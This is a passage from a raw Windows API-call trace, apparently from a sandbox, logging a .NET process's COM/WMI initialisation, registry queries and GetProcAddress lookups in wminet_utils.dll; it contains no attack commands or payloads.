[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.585] WbemDefPath:IUnknown:Release (This=0x5ce62d8) returned 0x3 [0141.585] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0141.585] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0141.585] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd1c8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0141.585] WbemDefPath:IUnknown:Release (This=0x5cdd1c8) returned 0x2 [0141.585] WbemDefPath:IUnknown:Release (This=0x5cdd1c8) returned 0x1 [0141.585] SetEvent (hEvent=0x58c) returned 1 [0141.587] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5d09b40) returned 0x0 [0141.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x5d09b40, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0141.587] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5d09b40, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdd238) returned 0x0 [0141.587] WbemDefPath:IUnknown:Release (This=0x5d09b40) returned 0x0 [0141.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd238, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdd238) returned 0x0 [0141.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd238, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0141.588] WbemDefPath:IUnknown:AddRef (This=0x5cdd238) returned 0x3 [0141.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd238, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0141.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd238, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0141.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd238, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5ce62b8) returned 0x0 [0141.588] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5ce62b8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.588] WbemDefPath:IUnknown:Release (This=0x5ce62b8) returned 0x3 [0141.588] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0141.588] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0141.588] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd238, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0141.588] WbemDefPath:IUnknown:Release (This=0x5cdd238) returned 0x2 [0141.588] WbemDefPath:IUnknown:Release (This=0x5cdd238) returned 0x1 [0141.588] SetEvent (hEvent=0x590) returned 1 [0141.590] CoGetClassObject (in: rclsid=0x75556c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5e0eb98 | out: ppv=0x5e0eb98*=0x5d09b40) returned 0x0 [0141.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x5d09b40, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e0edb0 | out: ppvObject=0x5e0edb0*=0x0) returned 0x80004002 [0141.591] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5d09b40, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0edbc | out: ppvObject=0x5e0edbc*=0x5cdd2a8) returned 0x0 [0141.591] WbemDefPath:IUnknown:Release (This=0x5d09b40) returned 0x0 [0141.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd2a8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e9dc | out: ppvObject=0x5e0e9dc*=0x5cdd2a8) returned 0x0 [0141.591] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd2a8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e0e990 | out: ppvObject=0x5e0e990*=0x0) returned 0x80004002 [0141.592] WbemDefPath:IUnknown:AddRef (This=0x5cdd2a8) returned 0x3 [0141.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd2a8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5e0e2ec | out: ppvObject=0x5e0e2ec*=0x0) returned 0x80004002 [0141.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd2a8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5e0e29c | out: ppvObject=0x5e0e29c*=0x0) returned 0x80004002 [0141.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd2a8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e2a8 | out: ppvObject=0x5e0e2a8*=0x5ce62c8) returned 0x0 [0141.592] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5ce62c8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e0e2b0 | out: pCid=0x5e0e2b0*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0141.592] WbemDefPath:IUnknown:Release (This=0x5ce62c8) returned 0x3 [0141.592] CoGetContextToken (in: pToken=0x5e0e308 | out: pToken=0x5e0e308) returned 0x0 [0141.592] CoGetContextToken (in: pToken=0x5e0e71c | out: pToken=0x5e0e71c) returned 0x0 [0141.592] WbemDefPath:IUnknown:QueryInterface (in: This=0x5cdd2a8, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e0e79c | out: ppvObject=0x5e0e79c*=0x0) returned 0x80004002 [0141.592] WbemDefPath:IUnknown:Release (This=0x5cdd2a8) returned 0x2 [0141.592] WbemDefPath:IUnknown:Release (This=0x5cdd2a8) returned 0x1 [0141.592] SetEvent (hEvent=0x594) returned 1 Thread: id = 86 os_tid = 0xd50 [0120.352] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0120.353] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x5eef144 | out: lpiid=0x5eef144) returned 0x0 [0120.354] CoGetClassObject (in: rclsid=0x75598c*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5eeee60 | out: ppv=0x5eeee60*=0x5cc95c0) returned 0x0 [0120.359] WbemLocator:IUnknown:QueryInterface (in: This=0x5cc95c0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5eef078 | out: ppvObject=0x5eef078*=0x0) returned 0x80004002 [0120.359] WbemLocator:IClassFactory:CreateInstance (in: This=0x5cc95c0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eef084 | out: ppvObject=0x5eef084*=0x5cc1160) returned 0x0 [0120.360] WbemLocator:IUnknown:Release (This=0x5cc95c0) returned 0x0 [0120.360] WbemLocator:IUnknown:QueryInterface (in: This=0x5cc1160, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eeeca4 | out: ppvObject=0x5eeeca4*=0x5cc1160) returned 0x0 [0120.360] WbemLocator:IUnknown:QueryInterface (in: This=0x5cc1160, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5eeec58 | out: ppvObject=0x5eeec58*=0x0) returned 0x80004002 [0120.360] WbemLocator:IUnknown:AddRef (This=0x5cc1160) returned 0x3 [0120.360] WbemLocator:IUnknown:QueryInterface (in: This=0x5cc1160, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5eee5b4 | out: ppvObject=0x5eee5b4*=0x0) returned 0x80004002 [0120.360] WbemLocator:IUnknown:QueryInterface (in: This=0x5cc1160, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5eee564 | out: ppvObject=0x5eee564*=0x0) returned 0x80004002 [0120.360] WbemLocator:IUnknown:QueryInterface (in: This=0x5cc1160, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eee570 | out: ppvObject=0x5eee570*=0x0) returned 0x80004002 [0120.360] CoGetContextToken (in: pToken=0x5eee5d0 | out: pToken=0x5eee5d0) returned 0x0 [0120.361] CoGetObjectContext (in: riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5cc95c4 | out: ppv=0x5cc95c4*=0x6adc48) returned 0x0 [0120.372] CoGetContextToken (in: pToken=0x5eee9e4 | out: pToken=0x5eee9e4) returned 0x0 [0120.372] WbemLocator:IUnknown:QueryInterface (in: This=0x5cc1160, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eeea64 | out: ppvObject=0x5eeea64*=0x0) returned 0x80004002 [0120.372] WbemLocator:IUnknown:Release (This=0x5cc1160) returned 0x2 [0120.372] WbemLocator:IUnknown:Release (This=0x5cc1160) returned 0x1 [0120.372] CoGetContextToken (in: pToken=0x5eef05c | out: pToken=0x5eef05c) returned 0x0 [0120.372] CoGetContextToken (in: pToken=0x5eeefbc | out: pToken=0x5eeefbc) returned 0x0 [0120.372] WbemLocator:IUnknown:QueryInterface (in: This=0x5cc1160, riid=0x5eef08c*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5eef088 | out: ppvObject=0x5eef088*=0x5cc1160) returned 0x0 [0120.372] WbemLocator:IUnknown:AddRef (This=0x5cc1160) returned 0x3 [0120.372] WbemLocator:IUnknown:Release (This=0x5cc1160) returned 0x2 [0120.372] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x5eef21c | out: puCount=0x5eef21c*=0x2) returned 0x0 [0120.372] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=8, puBuffLength=0x5eef218*=0x0, pszText=0x0 | out: puBuffLength=0x5eef218*=0xf, pszText=0x0) returned 0x0 [0120.372] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=8, puBuffLength=0x5eef218*=0xf, pszText="00000000000000" | out: puBuffLength=0x5eef218*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.389] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x5eef120 | out: phkResult=0x5eef120*=0x480) returned 0x0 [0120.389] RegQueryValueExW (in: hKey=0x480, lpValueName="WMIDisableCOMSecurity", lpReserved=0x0, lpType=0x5eef13c, lpData=0x0, lpcbData=0x5eef138*=0x0 | out: lpType=0x5eef13c*=0x0, lpData=0x0, lpcbData=0x5eef138*=0x0) returned 0x2 [0120.389] RegCloseKey (hKey=0x480) returned 0x0 [0120.396] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x104, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0120.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=63, lpMultiByteStr=0x5eee968, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", lpUsedDefaultChar=0x0) returned 63 [0120.397] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll") returned 0x6a810000 [0120.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x5eee99c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecuritym·qµý\x9b\x9cDþ+qxìî\x05\x01", lpUsedDefaultChar=0x0) returned 13 [0120.704] GetProcAddress (hModule=0x6a810000, lpProcName="ResetSecurity") returned 0x6a817dd0 [0120.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x5eee99c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity", lpUsedDefaultChar=0x0) returned 11 [0120.713] GetProcAddress (hModule=0x6a810000, lpProcName="SetSecurity") returned 0x6a817e20 [0120.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x5eee998, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServices·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 18 [0120.723] GetProcAddress (hModule=0x6a810000, lpProcName="BlessIWbemServices") returned 0x6a816e70 [0120.845] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x5eee990, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 24 [0120.845] GetProcAddress (hModule=0x6a810000, lpProcName="BlessIWbemServicesObject") returned 0x6a816ed0 [0120.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x5eee998, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandlem·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 17 [0120.871] GetProcAddress (hModule=0x6a810000, lpProcName="GetPropertyHandle") returned 0x6a817820 [0120.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x5eee998, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValue·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 18 [0120.979] GetProcAddress (hModule=0x6a810000, lpProcName="WritePropertyValue") returned 0x6a817fa0 [0120.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x5eee9a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clonem·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 5 [0120.992] GetProcAddress (hModule=0x6a810000, lpProcName="Clone") returned 0x6a816f30 [0121.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x5eee998, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0121.002] GetProcAddress (hModule=0x6a810000, lpProcName="VerifyClientKey") returned 0x6a817f20 [0121.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x5eee998, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0121.008] GetProcAddress (hModule=0x6a810000, lpProcName="GetQualifierSet") returned 0x6a8178e0 [0121.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x5eee9a4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get", lpUsedDefaultChar=0x0) returned 3 [0121.010] GetProcAddress (hModule=0x6a810000, lpProcName="Get") returned 0x6a8175c0 [0121.133] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x5eee9a4, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put", lpUsedDefaultChar=0x0) returned 3 [0121.133] GetProcAddress (hModule=0x6a810000, lpProcName="Put") returned 0x6a817a00 [0121.150] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x5eee9a4, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Delete·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 6 [0121.151] GetProcAddress (hModule=0x6a810000, lpProcName="Delete") returned 0x6a817300 [0121.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x5eee9a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 8 [0121.220] GetProcAddress (hModule=0x6a810000, lpProcName="GetNames") returned 0x6a8177c0 [0121.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x5eee998, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 16 [0121.285] GetProcAddress (hModule=0x6a810000, lpProcName="BeginEnumeration") returned 0x6a816e30 [0121.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x5eee9a4, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next»m·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 4 [0121.293] GetProcAddress (hModule=0x6a810000, lpProcName="Next") returned 0x6a8179a0 [0121.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x5eee99c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumeration·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 14 [0121.388] GetProcAddress (hModule=0x6a810000, lpProcName="EndEnumeration") returned 0x6a8173c0 [0121.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x5eee990, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0121.396] GetProcAddress (hModule=0x6a810000, lpProcName="GetPropertyQualifierSet") returned 0x6a8178b0 [0121.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x5eee9a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clonem·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 5 [0121.408] GetProcAddress (hModule=0x6a810000, lpProcName="Clone") returned 0x6a816f30 [0121.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x5eee99c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectTextm·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 13 [0121.408] GetProcAddress (hModule=0x6a810000, lpProcName="GetObjectText") returned 0x6a8177f0 [0121.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x5eee998, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClassm·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 17 [0121.418] GetProcAddress (hModule=0x6a810000, lpProcName="SpawnDerivedClass") returned 0x6a817e80 [0121.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x5eee99c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstancem·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 13 [0121.506] GetProcAddress (hModule=0x6a810000, lpProcName="SpawnInstance") returned 0x6a817eb0 [0121.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x5eee9a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTom·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 9 [0121.508] GetProcAddress (hModule=0x6a810000, lpProcName="CompareTo") returned 0x6a817020 [0121.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x5eee998, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOriginm·qµý\x9b\x9cDþ+qxìî\x05", lpUsedDefaultChar=0x0) returned 17 [0121.518] GetProcAddress (hModule=0x6a810000, lpProcName="GetPropertyOrigin") returned 0x6a817880 [0121.532] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x5eee99c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 